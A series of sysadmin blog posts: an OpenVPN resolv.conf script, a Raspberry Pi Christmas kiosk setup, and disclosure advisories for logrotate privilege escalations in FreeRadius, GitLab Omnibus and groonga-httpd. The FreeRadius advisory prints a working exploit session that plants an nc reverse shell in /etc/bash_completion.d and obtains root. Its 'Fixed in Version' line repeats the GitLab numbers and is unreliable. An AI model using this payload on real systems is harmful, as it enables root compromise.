Sysadmin https://tech.feedyourhead.at/ en OpenVPN: updating /etc/resolv.conf https://tech.feedyourhead.at/content/openvpn-updating-resolv.conf <span class="field field--name-title field--type-string field--label-hidden">OpenVPN: updating /etc/resolv.conf</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>OpenVPN comes with example-scripts to update <em>/etc/resolv.conf</em> using "resolvconf" or systemd-resolvconf. I don't use one of them therefore I <a href="https://github.com/whotwagner/update-resolv.conf.git">modified the script</a> so that it simply changes <em>/etc/resolv.conf </em>directly. I placed a variable "IMMUTEABLE" in this script. If IMMUTEABLE is set to 1, this script will change the fileattribute of /etc/resolv.conf to immuteable. In that way it is possible to prevent other programms like dhcp-clients to change /etc/resolv.conf while openvpn is running. I know, it's a little bit hacky, but it works for me. <a href="https://github.com/whotwagner/update-resolv.conf.git">The full source can be downloaded at github.com.</a></p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Dec 26 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/tricks" hreflang="en">Tricks</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/bash" hreflang="en">Bash</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/openssl" hreflang="en">openssl</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/downloads" hreflang="en">Downloads</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=287&amp;2=comment&amp;3=comment" token="vHuPEwt9plgjYIf1hOZjt_5xBLAxtApjH9TdXBk7p8s"></drupal-render-placeholder> </section> Thu, 26 Dec 2019 16:45:26 +0000 Hoti 287 at https://tech.feedyourhead.at HackADay: A Christmas-Machine(Merry Christmas) https://tech.feedyourhead.at/content/hackaday-a-christmas-machine <span class="field field--name-title field--type-string field--label-hidden">HackADay: A Christmas-Machine(Merry Christmas)</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><p>This year I want to send you merry christmas by creating a blog-entry for a raspberry pi christmas project. The "christmas-machine" displays merry christmas and wishes for the "christkind" on a tft display for the raspberry. It is possible to send christmas wishes using a web applications that can be accessed via wifi. I placed this installation at the coffee-kitchen in the office and it was very nice to see that my colleges had a lot of fun with it.</p> <p>Blesses for "Brother Patrick" who spent me that wonderful Joy-IT TFT display.</p> <p> <video controls="" height="360" width="480"><source src="/sites/default/files/DateiUploads/xmasdev.mp4" type="video/mp4" /></video> </p> <h2>Install Joy-IT TFT3.2</h2> This is a very short installation guide for this display. Please visit the documentation for this display to see the <a href="http://anleitung.joy-it.net/wp-content/uploads/2017/04/RB-TFT3.2_RB-TFT3.5_Manual.pdf">full installation guide</a>. Edit /boot/config.txt <pre><code> dtparam=spi=on dtoverlay=joy-IT-Display-Driver-32b-overlay:rotate=270,swapxy=1 </code></pre> Edit /boot/cmdline.txt and add "fbcon=map:10" <pre><code> console=serial0,115200 console=tty1 root=PARTUUID=6c586e13-02 rootfstype=ext4 elevator=deadline fsck.repair=yes rootwait fbcon=map:10 </code></pre> Install xorg-modules: <pre><code> apt-get install xorg xorg-docs-core xserver-xorg xserver-xorg-core xserver-xorg-input-all xserver-xorg-input-libinput xserver-xorg-input-wacom xserver-xorg-legacy xserver-xorg-video-all xserver-xorg-video-amdgpu xserver-xorg-video-ati xserver-xorg-video-fbdev xserver-xorg-video-fbturbo xserver-xorg-video-nouveau xserver-xorg-video-radeon xserver-xorg-video-vesa </code></pre> Edit /usr/share/X11/xorg.conf.d/99-calibration.conf: <pre><code> Section "InputClass" Identifier "calibration" MatchProduct "ADS7846 Touchscreen" Option "Calibration" "160 3723 3896 181" Option "SwapAxes" "1" Option "TransformationMatrix" "1 0 0 0 -1 1 0 0 1" EndSection </code></pre> Edit /usr/share/X11/xorg.conf.d/99-fbturbo.conf and set fbdev to "/dev/fb1" <pre><code> Section "Device" Identifier "Allwinner A10/A13 FBDEV" Driver "fbturbo" Option "fbdev" "/dev/fb1" Option "SwapbuffersWait" "true" EndSection </code></pre> Install the driver: <pre><code> cd /tmp wget anleitung.joy-it.net/upload/joy-IT-Display-Driver-32b-overlay.dtbsudo cp joy-IT-Display-Driver-32b-overlay.dtb /boot/overlays/joy-IT-Display-Driver-32b-overlay.dtbo </code></pre> <h2>Prepare the desktop environment</h2> Install the LXDE-desktop: <pre><code> apt-get install lxde-common lxde-core lxde-icon-theme lxde-settings-daemon openbox-lxde-session lightdm lightdm-gtk-greeter chromium-browser unclutter </code></pre> Set autologin for user pi in lightdm: <pre><code> autologin-guest=false autologin-user=pi autologin-user-timeout=0 </code></pre> Edit /etc/xdg/lxsession/LXDE/autostart and remove xscreensaver: <pre><code> @lxpanel --profile LXDE @pcmanfm --desktop --profile LXDE @xset s off @xset -dpms @xset s noblank </code></pre> <b>Reboot</b> Edit /home/pi/.config/lxsession/LXDE/autostart: <pre><code> @lxpanel --profile LXDE @pcmanfm --desktop --profile LXDE @/home/pi/startxmas.sh @xset s off @xset -dpms @xset s noblank </code></pre> Remove software: <pre><code> apt-get remove light-locker wpasupplicant </code></pre> Edit /home/pi/startxmas.sh: <pre><code> #!/bin/bash DISPLAY=:0.0 unclutter & DISPLAY=:0.0 chromium-browser --kiosk --disable-restore-session-state --disable-features=TranslateUI --disable-session-crashed-bubble http://localhost/tree.html </code></pre> <h2>Install the Access-Point</h2> <pre><code> apt-get install hostapd dnsmasq </code></pre> Edit /etc/hostapd/hostapd.conf: <pre><code> interface=wlan0 driver=nl80211 ssid=xmas hw_mode=g channel=11 macaddr_acl=0 </code></pre> Edit /etc/dhcpcd.conf and add the following lines at the end of the file: <pre><code> interface wlan0 static ip_address=10.0.0.1/24 </code></pre> Edit /etc/dnsmasq.d/dhcp: <pre><code> dhcp-authoritative dhcp-range=10.0.0.50,10.0.0.150,12h address=/\#/10.0.0.1 interface=wlan0 </code></pre> Edit /etc/default/hostapd and modify DAEMON_CONF: <pre><code> DAEMON_CONF="/etc/hostapd/hostapd.conf" </code></pre> Configure autostart for hostapd: <pre><code> systemctl daemon-reload systemctl unmask hostapd systemctl enable hostapd </code></pre> <h2>Configure the webservice</h2> <pre><code> apt-get install apache2 php7.3 php7.3-cli php7.3-json git </code></pre> Download the Webfiles: <pre><code> git clone https://github.com/whotwagner/xmas2019.git /tmp/xmas2019 cp -r /tmp/xmas2019/* /var/www/html/ chown www-data /var/www/html/wishes </code></pre> </b>Reboot</b> <h2>MERRY CHRISTMAS AND A HAPPY NEW YEAR 2020</h2> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Dec 21 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/xmas" hreflang="en">xmas</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/hackaday" hreflang="en">HackADay</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/raspberry" hreflang="en">Raspberry</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Fun" hreflang="en">Fun</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/debian" hreflang="en">Debian</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=286&amp;2=comment&amp;3=comment" token="bOpcwG6QkMNce10GTTONTe1gk3UOW4gOFZ8auDQ32WI"></drupal-render-placeholder> </section> Sat, 21 Dec 2019 20:28:14 +0000 Hoti 286 at https://tech.feedyourhead.at FreeRadius: Privilege Escalation via Logrotate https://tech.feedyourhead.at/content/privilege-escalation-via-logrotate-freeradius <span class="field field--name-title field--type-string field--label-hidden">FreeRadius: Privilege Escalation via Logrotate</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h2>Identifier: AIT-SA-20191112-01</h2> <p>Target: FreeRadius<br /> Vendor: FreeRadius<br /> Version: all versions including 3.0.19<br /> Fixed in Version: 12.2.3, 12.1.8 and 12.0.8<br /> CVE: <a href="https://nvd.nist.gov/vuln/detail/CVE-2019-10143">CVE-2019-10143</a><br /> Accessibility: Local<br /> Severity: Low<br /> Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)</p> <h4>Summary</h4> <p><a href="https://freeradius.org/">FreeRadius is a modular Open-Source RADIUS suite.</a></p> <h4>Vulnerability Description</h4> <p>The ownership of the logdirectory “radacct” belongs to user "radiusd". User “radiusd” can elevate the privileges to “root” because of an unsafe interaction with logrotate.<br /> User “radiusd” owns the log directory /<em>var/log/radius/radacct:</em></p> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">&nbsp; drwx------. <span style="color: #000000;">3</span> radiusd radiusd <span style="color: #000000;">4096</span> <span style="color: #000000;">26</span>. Apr <span style="color: #000000;">16</span>:01 <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>radius<span style="color: #000000; font-weight: bold;">/</span>radacct<span style="color: #000000; font-weight: bold;">/</span> </pre></div> <p>Log files rotate once a day(or any other frequency if configured) by logrotate as user root. The configuration does not use the “su” directive:</p> <p><div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">&nbsp; <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>radius<span style="color: #000000; font-weight: bold;">/</span>radacct<span style="color: #000000; font-weight: bold;">/*/</span>detail <span style="color: #7a0874; font-weight: bold;">&#123;</span> monthly rotate <span style="color: #000000;">4</span> nocreate missingok compress <span style="color: #7a0874; font-weight: bold;">&#125;</span></pre></div></p> <p>Since logrotate is prone to a race-condition(see <a href="https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition">https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition</a>) it is possible for user "radiusd" to replace the directory /var/log/radius/radacct/logdir with a symbolic link to any directory(for example /etc/bash_completion.d). logrotate will place the compressed files AS ROOT into /etc/bash_completition.d and set the owner and group to "radiusd.radiusd". An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse shell will be executed then.</p> <p>Details of the race-condition in logrotate can be found at:</p> <ul> <li><a href="https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition">https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition</a></li> <li><a href="https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges">https://tech.feedyourhead.at/content/abusing-a-race-condition-in-logrotate-to-elevate-privileges</a></li> <li><a href="https://github.com/whotwagner/logrotten">https://github.com/whotwagner/logrotten</a></li> </ul> <h4>Proof of Concept</h4> <p>The following example illustrates how an attacker who already gained a shell as user “radiusd”, can elevate his privileges to “root”. After downloading and compiling, the exploit gets executed and waits until the next daily run of logrotate.&nbsp; If the rotation of the log file succeeds, a new file that contains the reverse shell payload, will be written into /etc/bash_completition.d/ with owner “radiusd”. As soon as root logs in, the reverse shell gets executed and opens a shell on the attackers netcat listener:</p> <p>&nbsp;</p> <p><div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;">&nbsp; <span style="color: #666666;">radiusd@redhat7:~$ </span><span style="color: #c20cb9; font-weight: bold;">git clone</span> https:<span style="color: #000000; font-weight: bold;">//</span>github.com<span style="color: #000000; font-weight: bold;">/</span>whotwagner<span style="color: #000000; font-weight: bold;">/</span>logrotten.git <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>logrotten Cloning into <span style="color: #ff0000;">'/tmp/logrotten'</span>... remote: Enumerating objects: <span style="color: #000000;">84</span>, done. remote: Counting objects: <span style="color: #000000;">100</span><span style="color: #000000; font-weight: bold;">%</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">84</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">84</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>, done. remote: Compressing objects: <span style="color: #000000;">100</span><span style="color: #000000; font-weight: bold;">%</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">58</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">58</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>, done. remote: Total <span style="color: #000000;">84</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>delta <span style="color: #000000;">35</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>, reused <span style="color: #000000;">64</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span>delta <span style="color: #000000;">24</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>, pack-reused <span style="color: #000000;">0</span> Unpacking objects: <span style="color: #000000;">100</span><span style="color: #000000; font-weight: bold;">%</span> <span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #000000;">84</span><span style="color: #000000; font-weight: bold;">/</span><span style="color: #000000;">84</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>, done. <span style="color: #666666;">radiusd@redhat7:~$ </span><span style="color: #c20cb9; font-weight: bold;">mkdir</span> <span style="color: #660033;">-p</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>radius<span style="color: #000000; font-weight: bold;">/</span>radacct<span style="color: #000000; font-weight: bold;">/</span>logdir <span style="color: #666666;">radiusd@redhat7:~$ </span><span style="color: #c20cb9; font-weight: bold;">touch</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>radius<span style="color: #000000; font-weight: bold;">/</span>radacct<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>detail <span style="color: #666666;">radiusd@redhat7:~$ </span><span style="color: #7a0874; font-weight: bold;">cd</span> <span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #000000; font-weight: bold;">&amp;&amp;</span> <span style="color: #c20cb9; font-weight: bold;">gcc</span> <span style="color: #660033;">-o</span> logrotten logrotten.c radiusd<span style="color: #000000; font-weight: bold;">@</span>redhat7:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>logrotten$ .<span style="color: #000000; font-weight: bold;">/</span>logrotten <span style="color: #660033;">-c</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>radius<span style="color: #000000; font-weight: bold;">/</span>radacct<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>detail Waiting <span style="color: #000000; font-weight: bold;">for</span> rotating <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>radius<span style="color: #000000; font-weight: bold;">/</span>radacct<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>detail... Renamed <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>radius<span style="color: #000000; font-weight: bold;">/</span>radacct<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>detail with <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>radius<span style="color: #000000; font-weight: bold;">/</span>radacct<span style="color: #000000; font-weight: bold;">/</span>logdir<span style="color: #000000; font-weight: bold;">/</span>detail2 and created symlink to <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d Done<span style="color: #000000; font-weight: bold;">!</span> radiusd<span style="color: #000000; font-weight: bold;">@</span>redhat7:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>logrotten$ <span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-l</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d<span style="color: #000000; font-weight: bold;">/</span> total <span style="color: #000000;">20</span> <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> root root <span style="color: #000000;">11144</span> Oct <span style="color: #000000;">28</span> <span style="color: #000000;">2018</span> grub <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> radiusd radiusd <span style="color: #000000;">33</span> May <span style="color: #000000;">12</span> <span style="color: #000000;">18</span>:<span style="color: #000000;">44</span> detail.1.gz radiusd<span style="color: #000000; font-weight: bold;">@</span>redhat7:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>logrotten$ <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #ff0000;">&quot;if [ \<span style="color: #780078;">`id -u\`</span> -eq 0 ]; then (/bin/nc -e /bin/bash localhost 3333 &amp;); fi&quot;</span> <span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span>bash_completion.d<span style="color: #000000; font-weight: bold;">/</span>detail.1.gz radiusd<span style="color: #000000; font-weight: bold;">@</span>redhat7:<span style="color: #000000; font-weight: bold;">/</span>tmp<span style="color: #000000; font-weight: bold;">/</span>logrotten$ nc <span style="color: #660033;">-nvlp</span> <span style="color: #000000;">3333</span> listening on <span style="color: #7a0874; font-weight: bold;">&#91;</span>any<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000;">3333</span> ... connect to <span style="color: #7a0874; font-weight: bold;">&#91;</span>127.0.0.1<span style="color: #7a0874; font-weight: bold;">&#93;</span> from <span style="color: #7a0874; font-weight: bold;">&#40;</span>UNKNOWN<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span>127.0.0.1<span style="color: #7a0874; font-weight: bold;">&#93;</span> <span style="color: #000000;">55526</span> <span style="color: #c20cb9; font-weight: bold;">id</span> <span style="color: #007800;">uid</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">groups</span>=<span style="color: #000000;">0</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>root<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></p> <h4>Vulnerable Versions</h4> <p>All versions including 3.0.19</p> <h4>Tested Versions</h4> <p>Name : freeradius<br /> Architecture: x86_64<br /> Version: 3.0.13<br /> Release: 9.el7_5</p> <h4>Impact</h4> <p>An attacker who already achieved a valid shell as user “radiusd” could elevate the privileges to “root”. The fact that another exploit is needed to get a shell lowers the severity from high to low.</p> <h4>Mitigation</h4> <p>Add “su radiusd:radiusd” to all log sections in /etc/logrotate.d/radiusd.<br /> By keeping SELinux in "Enforcing" mode, the “radiusd” user will be limited in the directories he can write to.</p> <h4>References:</h4> <ul> <li><a href="https://access.redhat.com/security/cve/cve-2019-10143">https://access.redhat.com/security/cve/cve-2019-10143</a></li> <li><a href="https://nvd.nist.gov/vuln/detail/CVE-2019-10143">https://nvd.nist.gov/vuln/detail/CVE-2019-10143</a></li> </ul> <h4>Vendor Contact Timeline</h4> <p>2019-05-01Contacting RedHat</p> <p>2019-05-07RedHat opens issue at the vendor bugtracker</p> <p>2019-05-23CVE gets assigned to the issue</p> <p>2019-05-24FreeRadius is skeptical about the “security” impact.</p> <p>2019-11-05Public disclosure</p> <h4>Notes</h4> <p>This CVE is disputed because the vendor <a href="https://freeradius.org/security/">stated</a> that there is no known remote code execution in freeradius that allows an attacker to gain a shell as user “radiusd”.&nbsp; CVE’s are not only assigned for vulnerabilities but also for exposures that allow attacker to have a stronger impact after a successful attack. Therefore we believe that it is important to file this issue as a security related bug.</p> <h4>Advisory URL</h4> <p><a href="https://www.ait.ac.at/ait-sa-20191112-01-privilege-escalation-via-logrotate-in-freeradius">https://www.ait.ac.at/ait-sa-20191112-01-privilege-escalation-via-logrotate-in-freeradius</a></p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Dec 02 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/107" hreflang="en">CVE</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/c" hreflang="en">C</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=283&amp;2=comment&amp;3=comment" token="xzgwb9J5RcAW7IeFIQPIKtSnh-R_KbIEGwnvGSH1LZI"></drupal-render-placeholder> </section> Mon, 02 Dec 2019 18:11:22 +0000 Hoti 283 at https://tech.feedyourhead.at CVE-2019-15741: Privilege Escalation via Logrotate in Gitlab Omnibus https://tech.feedyourhead.at/content/Privilege-Escalation-via-Logrotate-in-Gitlab-Omnibus-CVE-2019-15741 <span class="field field--name-title field--type-string field--label-hidden">CVE-2019-15741: Privilege Escalation via Logrotate in Gitlab Omnibus</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h3>Overview</h3> <ul><li>Identifier: AIT-SA-20190930-01</li> <li>Target: GitLab Omnibus</li> <li>Vendor: GitLab</li> <li>Version: 7.4 through 12.2.1</li> <li>Fixed in Version: 12.2.3, 12.1.8 and 12.0.8</li> <li>CVE: CVE-2019-15741</li> <li>Accessibility: Local</li> <li>Severity: Low</li> <li>Author: Wolfgang Hotwagner (AIT Austrian Institute of Technology)</li> </ul><h3>Vulnerability Description</h3> <p>GitLab Omnibus sets the ownership of the log directory to the system-user "git", which might let local users obtain root access because of unsafe interaction with logrotate.</p> <h3>Vulnerable Versions</h3> <p>7.4 through 12.2.1</p> <h3>Impact</h3> <p>An attacker who already achieved a valid shell as user “git” could elevate the privileges to “root”. The fact that another exploit is needed to get a shell lowers the severity from high to low.</p> <h3>Advisory URL</h3> <p><a href="http://www.ait.ac.at/ait-sa-20190930-01-privilege-escalation-via-logrotate-in-gitlab-omnibus">http://www.ait.ac.at/ait-sa-20190930-01-privilege-escalation-via-logrotate-in-gitlab-omnibus</a></p> <h3>References:</h3> <ul><li><a href="https://about.gitlab.com/2019/08/29/security-release-gitlab-12-dot-2-dot-3-released/">https://about.gitlab.com/2019/08/29/security-release-gitlab-12-dot-2-dot-3-released/</a> </li> <li><a href="https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4380">https://gitlab.com/gitlab-org/omnibus-gitlab/issues/4380</a> </li> <li><a href="https://hackerone.com/reports/578119">https://hackerone.com/reports/578119</a></li> </ul><p> </p></div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">Oct 04 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/107" hreflang="en">CVE</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/git" hreflang="en">git</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Linux" hreflang="en">Linux</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/sysadmin" hreflang="en">Sysadmin</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/Programming" hreflang="en">Programming</a></div> </div> </div> <section class="field field--name-comment-node-blog field--type-comment field--label-hidden comment-wrapper"> </section> <section class="field field--name-comment field--type-comment field--label-above comment-wrapper"> <h2 class='title comment-form__title'> <i class="fa fa-comments-o"></i> Add new comment</h2> <drupal-render-placeholder callback="comment.lazy_builders:renderForm" arguments="0=node&amp;1=279&amp;2=comment&amp;3=comment" token="tPzTCpXOHPQznS0cKjokuCN09WJl_ncAA7gp79vmOxc"></drupal-render-placeholder> </section> Fri, 04 Oct 2019 11:25:05 +0000 Hoti 279 at https://tech.feedyourhead.at Privilege escalation in groonga-httpd (CVE-2019-11675) https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd <span class="field field--name-title field--type-string field--label-hidden">Privilege escalation in groonga-httpd (CVE-2019-11675)</span> <div class="clearfix text-formatted field field--name-body field--type-text-with-summary field--label-hidden field__item"><h3>Overview</h3> <ul> <li>System affected: Debian packages of groonga/-httpd 6.1.5-1</li> <li>Software-Version: 6.1.5-1</li> <li>User-Interaction: Not required</li> <li>Impact: Local root</li> <li>CVE: CVE-2019-11675</li> </ul> <h3>Detailed Description</h3> <p>The path of the logdirectory of groonga-httpd can be manipulated by user groonga:</p> <pre> <div class="geshifilter"><pre class="bash geshifilter-bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-l</span> <span style="color: #000000; font-weight: bold;">/</span>var<span style="color: #000000; font-weight: bold;">/</span>log<span style="color: #000000; font-weight: bold;">/</span>groonga total <span style="color: #000000;">8</span> <span style="color: #660033;">-rw-r--r--</span> <span style="color: #000000;">1</span> root root <span style="color: #000000;">1296</span> Apr <span style="color: #000000;">25</span> <span style="color: #000000;">18</span>:<span style="color: #000000;">44</span> groonga.log drwxr-xr-x <span style="color: #000000;">2</span> groonga groonga <span style="color: #000000;">4096</span> Apr <span style="color: #000000;">25</span> <span style="color: #000000;">18</span>:<span style="color: #000000;">55</span> httpd</pre></div></pre> <p>The files in /var/log/groonga/httpd/*.log are once a day rotated by logrotate as user root with the following config:</p> <pre> /var/log/groonga/httpd/*.log { daily missingok rotate 30 compress delaycompress notifempty create 640 groonga groonga sharedscripts postrotate . /etc/default/groonga-httpd if [ x"$ENABLE" = x"yes" ]; then /usr/bin/curl --silent --output /dev/null \ "http://127.0.0.1:10041/d/log_reopen" fi endscript } </pre> <p>Due to <a href="https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition">logrotate is prone to a race-condition</a> it is possible for user "groonga" to replace the directory /var/log/groonga/httpd with a symbolik link to any directory(for example /etc/bash_completion.d). logrotate will place files AS ROOT into /etc/bash_completition.d and set the owner and group to "groonga.groonga". An attacker could simply place a reverse-shell into this file. As soon as root logs in, a reverse shell will be executed then.</p> <h3>Exploit</h3> <p>A proof-of-concept exploit can be found at <a href="https://github.com/whotwagner/logrotten">https://github.com/whotwagner/logrotten</a></p> <h3>Mitigation</h3> <p>The problem can be mitigated by changing the owner and group of /var/log/groonga to root, or by using the "su option" inside the logrotate-configfile.</p> <h3>Credits</h3> <p>This bug was discovered by Wolfgang Hotwagner(https://tech.feedyourhead.at/content/privilege-escalation-in-groonga-httpd)</p> </div> <span class="field field--name-uid field--type-entity-reference field--label-hidden"><span lang="" about="/users/hoti" typeof="schema:Person" property="schema:name" datatype="">Hoti</span></span> <span class="field field--name-created field--type-created field--label-hidden">May 07 2019</span> <div class="field field--name-field-tagies field--type-entity-reference field--label-above"> <div class="field__label">Tags</div> <div class='field__items'> <div class="field__item"><i class="fa fa-tags"></i> <a href="/tags/security" hreflang="en">Security</a></div> <div class="field__item"><i class="fa fa-tags"></i> <a href="/taxonomy/term/107" 